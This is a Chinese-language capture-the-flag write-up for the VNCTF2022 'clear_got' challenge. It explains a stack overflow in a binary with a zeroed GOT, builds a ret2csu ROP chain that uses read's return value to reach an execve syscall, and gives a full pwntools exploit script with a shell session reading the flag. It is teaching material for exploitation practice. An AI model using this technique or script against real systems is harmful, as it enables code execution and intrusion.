【pwn做题记录】04.[VNCTF2022公开赛]clear_got 97
首先检查一下文件:
C:\Users\A\Downloads>checksec clear_got
[*] 'C:\\Users\\A\\Downloads\\clear_got'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
上面每一条的意思依次是:
- amd64位程序,小端序
- GOT表部分可读可写
- 没有栈保护
- 栈不可执行
- 地址固定
- 保留了字符表和调试信息
原理分析
由没有栈保护,栈不可执行,可能是还是栈溢出的题目。
用IDA打开文件,查看main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[92]; // [rsp+0h] [rbp-60h] BYREF
int v5; // [rsp+5Ch] [rbp-4h]
init(argc, argv, envp);
memset(buf, 0, 0x50uLL);
puts("Welcome to VNCTF! This is a easy competition.///");
read(0, buf, 0x100uLL);
v5 = (int)&qword_601008;
memset(&qword_601008, 0, 0x38uLL);
return 0;
}
- 由
[rbp-60h]可知:buf距离rbp有0x60个字节,因此只需要有0x60 + 8个字节就可以栈溢出(这是64位程序,rbp占8字节)。 - 由
read(0, buf, 0x100uLL)可知:read可以读取0x100个字节,大于栈溢出所需字节数,所以这里存在栈溢出漏洞。 - 由
memset(&qword_601008, 0, 0x38uLL)可知:qword_601008开始的0x38个字节都赋值为0,双击查看qword_601008,可以看出got几乎全被覆盖为0,即清空了。
.got.plt:0000000000601000 _got_plt segment qword public 'DATA' use64
.got.plt:0000000000601000 assume cs:_got_plt
.got.plt:0000000000601000 ;org 601000h
.got.plt:0000000000601000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000601008 qword_601008 dq 0 ; DATA XREF: sub_400540↑r
.got.plt:0000000000601008 ; main+4B↑o
.got.plt:0000000000601010 qword_601010 dq 0 ; DATA XREF: sub_400540+6↑r
.got.plt:0000000000601018 off_601018 dq offset puts ; DATA XREF: _puts↑r
.got.plt:0000000000601020 off_601020 dq offset setbuf ; DATA XREF: _setbuf↑r
.got.plt:0000000000601028 off_601028 dq offset memset ; DATA XREF: _memset↑r
.got.plt:0000000000601030 off_601030 dq offset alarm ; DATA XREF: _alarm↑r
.got.plt:0000000000601038 off_601038 dq offset read ; DATA XREF: _read↑r
.got.plt:0000000000601040 off_601040 dq offset __libc_start_main
.got.plt:0000000000601040 ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000601040 _got_plt ends
对main函数的简单分析,可以看出这道题虽然是动态链接的程序(由IDA打开文件左边的粉色内容可以看出,那些都是动态链接的函数),但是我们无法使用ret2libc的知识来泄露got地址调用system函数。这道题无system,无/bin/sh(在IDA里按住shift+f12可以查看)。
那如何调用system呢,这里有一个end2函数:
signed __int64 __fastcall end2(unsigned int a1, const char *a2, size_t a3)
{
return sys_write(a1, a2, a3);
}
这里进行了系统调用。我们要知道,系统调用的函数,通常会有一个系统编号,如32位的有一个汇编指令是int 0x80,这个0x80是32位程序的execve函数(功能和system类似)的系统编号。
在64位里,系统编号通常会存放在rax寄存器里。这里可以看下end2函数的汇编代码:
.text:0000000000400773 ; signed __int64 __fastcall end2(unsigned int, const char *, size_t)
.text:0000000000400773 public end2
.text:0000000000400773 end2 proc near
.text:0000000000400773 ; __unwind {
.text:0000000000400773 push rbp
.text:0000000000400774 mov rbp, rsp
.text:0000000000400777 mov rax, 1
.text:000000000040077E syscall ; LINUX - sys_write
.text:0000000000400780 retn
.text:0000000000400780 end2 endp ; sp-analysis failed
由mov rax,1可以看出,这里的系统编号为0x1,后面紧接着一个syscall,这个是一个系统调用的指令,它会根据系统编号来调用对应的函数,系统编号为0x1的函数时write(LINUX - sys_write也在提示我们了)。
而execve(后面写为system,方便理解)的系统编号是0x3b,也就是说,我们需要让rax的值为0x3b,那我们就可以调用system。要修改rax的值,就不得不想起pop_rax_ret的gadget了,用ROPgadget查找一下:
┌──(kali㉿kali)-[~/桌面/attack]
└─$ ROPgadget --binary "./clear_got" --only "pop|ret"
Gadgets information
============================================================
0x00000000004007ec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ee : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop r14 ; pop r15 ; ret
0x00000000004007f2 : pop r15 ; ret
0x00000000004007eb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004007ef : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400620 : pop rbp ; ret
0x00000000004007f3 : pop rdi ; ret
0x00000000004007f1 : pop rsi ; pop r15 ; ret
0x00000000004007ed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400539 : ret
0x0000000000400542 : ret 0x200a
Unique gadgets found: 12
发现并没有pop_rax_ret,所以我们只能换个思路。
但我们可以看到文件里有__libc_csu_init和__term_proc函数,因此我们可以考虑使用ret2csu的知识(不清楚的也可以看接下来的操作,知道个流程)。
首先看一下__libc_csu_init(只看汇编)的loc_4007d0和loc_4007e6两部分:
.text:00000000004007D0 loc_4007D0: ; CODE XREF: __libc_csu_init+54↓j
.text:00000000004007D0 mov rdx, r13
.text:00000000004007D3 mov rsi, r14
.text:00000000004007D6 mov edi, r15d
.text:00000000004007D9 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:00000000004007DD add rbx, 1
.text:00000000004007E1 cmp rbx, rbp
.text:00000000004007E4 jnz short loc_4007D0
.text:00000000004007E6
.text:00000000004007E6 loc_4007E6: ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004007E6 add rsp, 8
.text:00000000004007EA pop rbx
.text:00000000004007EB pop rbp
.text:00000000004007EC pop r12
.text:00000000004007EE pop r13
.text:00000000004007F0 pop r14
.text:00000000004007F2 pop r15
.text:00000000004007F4 retn
.text:00000000004007F4 ; } // starts at 400790
.text:00000000004007F4 __libc_csu_init endp
这里记loc_4007e6为csu_gadget1,loc_4007d0为csu_gadget2(下面使用的使用都是这么表示)
先看csu_gadget1,可以看出这里可以修改rbx,rbp,r12,r13,r14,r15的值,这里既不能修改rax,也没有rdi,rsi,rdx修改参数,似乎很没用。
但如果其返回地址(0x4007f4)覆盖为csu_gadget2呢,会发现,rdx = r13,rsi = r14,edi = r15d。即我们可以利用csu_gadget1的r13,r14,r15间接修改rdi,rsi,rdx的值,就可以传递参数了。
接下来看一下这个指令
call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
前面的(__frame_dummy_init_array_entry - 600E10h)是用来计算基址的,双击查看__frame_dummy_init_array_entry的地址,在0x600e10,所以这个基址的地址是0x0。
[r12+rbx*8]是内存单元,如[0x100]就是取0x100指向的内容,其目的地址 = 0x100 + 基址,所取的内容是*(目的地址)(即指针的解引用)。所以这里所取的内容就是*(r12 + rbx * 8 + 基址)。因为基址 = 0x0,当rbx = 0的时候,这里就简化为*(r12),即call指令会跳转到r12指向的地址。r12我们是可以在csu_gadget1中修改的。
接下来的是:
add rbx,1
cmp rbx,rbp
jnz short loc_4007d0
这几行简单来说就是rbx += 1,如果rbx != rbp,则跳转到loc_4007d0(也就是csu_gadget2的位置),为避免在这里循环,所以我们可以是rbp = 1,前面我们把rbx设置为0,则这里rbx += 1,则此时rbx = rbp = 1,就可以无视jnz指令,继续往下执行。
接下来就又回到csu_gadget1的位置了,就不重复解释了。
简单来说,我们可以利用csu_gadget1修改rbx,rbp,r12,r13,r14,r15的值(其中令rbx = 0,rbp = 1,r12为指向要跳转地址的指针,r13为第三个参数,r14为第四个参数,r15为第五个参数),将其返回地址覆盖为csu_gadget2,此时会把rdi,rsi,rdx的值赋值为r15,r14,r13。即
_libc_csu_init函数可以实现传递参数和函数跳转
由于r12要赋值为指向要跳转地址的指针,所以如果我们不想程序跳转,并且不让程序崩溃,要怎么办?直接使用ret是不行的,因为ret的地址并不指向哪里,即为空指针,就会导致程序异常。这种指向地址的指针,我们可以想到got表,got表存放的位置是一个地址,其内容也是一个地址,这个地址指向函数,即got表的内容是满足指向地址的指针的,即got地址 -> 0x100 -> fun函数。
但因为got表被覆盖,所以没法使用got表里的函数。因此这里提供的思路是用.LOAD段。
LOAD:0000000000600E28 ; ===========================================================================
LOAD:0000000000600E28
LOAD:0000000000600E28 ; Segment type: Pure data
LOAD:0000000000600E28 ; Segment permissions: Read/Write
LOAD:0000000000600E28 LOAD segment byte public 'DATA' use64
LOAD:0000000000600E28 assume cs:LOAD
LOAD:0000000000600E28 ;org 600E28h
LOAD:0000000000600E28 _DYNAMIC Elf64_Dyn <1, 1> ; DATA XREF: LOAD:0000000000400130↑o
LOAD:0000000000600E28 ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o
LOAD:0000000000600E28 ; DT_NEEDED libc.so.6
LOAD:0000000000600E38 Elf64_Dyn <0Ch, 400520h> ; DT_INIT
LOAD:0000000000600E48 Elf64_Dyn <0Dh, 400804h> ; DT_FINI
LOAD:0000000000600E58 Elf64_Dyn <19h, 600E10h> ; DT_INIT_ARRAY
LOAD:0000000000600E68 Elf64_Dyn <1Bh, 8> ; DT_INIT_ARRAYSZ
LOAD:0000000000600E78 Elf64_Dyn <1Ah, 600E18h> ; DT_FINI_ARRAY
可以看出:0x600e48 -> 0x400804 -> _term_porc函数,所以也符合我们对传递个r12的值。
而这个函数也很特殊:
.fini:0000000000400804 public _term_proc
.fini:0000000000400804 _term_proc proc near
.fini:0000000000400804 sub rsp, 8 ; _fini
.fini:0000000000400808 add rsp, 8
.fini:000000000040080C retn
.fini:000000000040080C _term_proc endp
.fini:000000000040080C
.fini:000000000040080C _fini ends
rsp -= 8和rsp += 8,也就是说,这个函数几乎啥也没干,我们称之为空函数。它就可以当我们的ROP里的ret跳板(有时候也会直接定位到0x400804 + 8的位置,即r12 = 0x600e48 + 8,这样会直接调用ret,当然不用也行)。
思路总结
说了这么多,现在先梳理一下我们的思路:
- 利用syscall来进行系统调用
- 利用rax = 0x3b的时候,可以调用system
- 利用ret2csu来传递参数和跳转
显然,我们仍然缺少了对rax的修改。其实,函数的返回值也会放在rax,即我们可以利用函数的返回值来修改rax的值。
main函数的返回值是0,而read的系统编号是0x0,所以利用main函数的返回值,我们可以调用read
而read的返回值是读取的字节数,如果这个字节数 = 0x3b,则可以调用system
仔细看看,我们还缺少一个,就是system的参数/bin/sh的获取,由于前面调用了read,所以我们可以利用read进行写入,写到哪里呢?看一下bss段
.bss:0000000000601079 align 4
.bss:000000000060107C public d
.bss:000000000060107C d db ? ;
.bss:000000000060107D db ? ;
.bss:000000000060107E db ? ;
.bss:000000000060107F db ? ;
.bss:0000000000601080 public b
.bss:0000000000601080 b db ? ;
.bss:0000000000601081 db ? ;
.bss:0000000000601082 db ? ;
.bss:0000000000601083 db ? ;
.bss:0000000000601084 public c
.bss:0000000000601084 c db ? ;
.bss:0000000000601085 db ? ;
.bss:0000000000601086 db ? ;
.bss:0000000000601087 db ? ;
.bss:0000000000601088 public a
.bss:0000000000601088 a db ? ;
.bss:0000000000601089 db ? ;
.bss:000000000060108A db ? ;
.bss:000000000060108B db ? ;
.bss:000000000060108C db ? ;
.bss:000000000060108D db ? ;
.bss:000000000060108E db ? ;
.bss:000000000060108F db ? ;
.bss:000000000060108F _bss ends
因此我们存放/bin/sh的地方就是.bss的全局变量d(其他的全局变量也是可以的,不过尽量保持可以写入的内容多点,最好地址较低的一个)。
那我们的思路就是:
- 利用syscall来进行系统调用
- 利用main的返回值调用read
- 利用read函数在bss段写入/bin/sh
- 利用read的返回值调用system
- 利用ret2csu来传递参数和跳转
这里再整理和优化一下思路:
- 正常栈溢出,ret覆盖为csu_gadget1,准备给read传参,csu_gadget1的返回值覆盖为csu_gadget2
- call指令不跳转,调用read函数,csu_gadget2的返回地址覆盖为csu_gadget1,准备给system传参
- 第二次csu_gadget1的返回值覆盖为csu_gadget2,call指令调用system函数
- 第一次csu_gadget2结束后,由于调用了read,所以程序停下,等待我们输入,我们可以输入
b'/bin/sh\x00' + p64(syscall_ret)并补充到0x3b个字节,可以利用bss调用system
攻击脚本
#!/bin/python
from pwn import *
# context.log_level = 'debug' # 调试发送信息和打印信息
bss = 0x60107C
csu_gadget1 = 0x4007E6 + 4 # +4是为了跳过add rsp,8;这个对我们没用
csu_gadget2 = 0x4007D0
term_porc_load = 0x600E48 + 8
syscall_ret = 0x40077E
io = process("./clear_got")
#io = remote("node5.buuoj.cn",28357)
# 可以算一下这个payload的总长:0xf0,不超过0x100,所以可以全部被read读取
payload = b'a' * (0x60 + 8) + p64(csu_gadget1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(term_porc_load) # r12,call
# 给read传参
payload += p64(0x3b) # r13,rdx
payload += p64(bss) # r14,rsi
payload += p64(0) # r15,edi
payload += p64(csu_gadget2) # csu_gadget1的返回地址
payload += b'b' * 0x8 # 填充垃圾数据,绕过add rsp,8
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(bss + 0x8) # r12,call;bss处写/bin/sh\x00,bss+0x8就是为了调用写在bss段的system函数
# 给system传参
payload += p64(0) # r13,rdx
payload += p64(0) # r14,rsi
payload += p64(bss) # r15,edi
payload += p64(syscall_ret) # csu_gadget1的返回地址,这里是为了调用read函数
# 由于前面没用调用csu_gadget2,所以提前给system传参并不影响read函数,并且可以保证在read函数在bss写入对应值后再调用system
payload += p64(csu_gadget2)
io.recvuntil("///") # 前面有一个puts函数,先接收一下
io.send(payload)
# 发送完payload后,程序开始调用read函数
# 这里写入bss段的值,记得要补充到0x3b个字节,read的返回值才会是0x3b,才会调用system
payload = (b'/bin/sh\x00' + p64(syscall_ret)).ljust(0x3b,b'\x00')
io.send(payload)
io.interactive()
就可以获取flag了
点击查看代码
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{8e483d00-2946-414c-a975-e3becfdc72f4}
$
[*] Closed connection to node5.buuoj.cn port 28357
做题总结
在无/bin/sh,无system,got表被覆盖,无pop_rax_ret的情况下,
若有libc_csu_init和term_proc函数,则可以使用ret2csu

浙公网安备 33010602011771号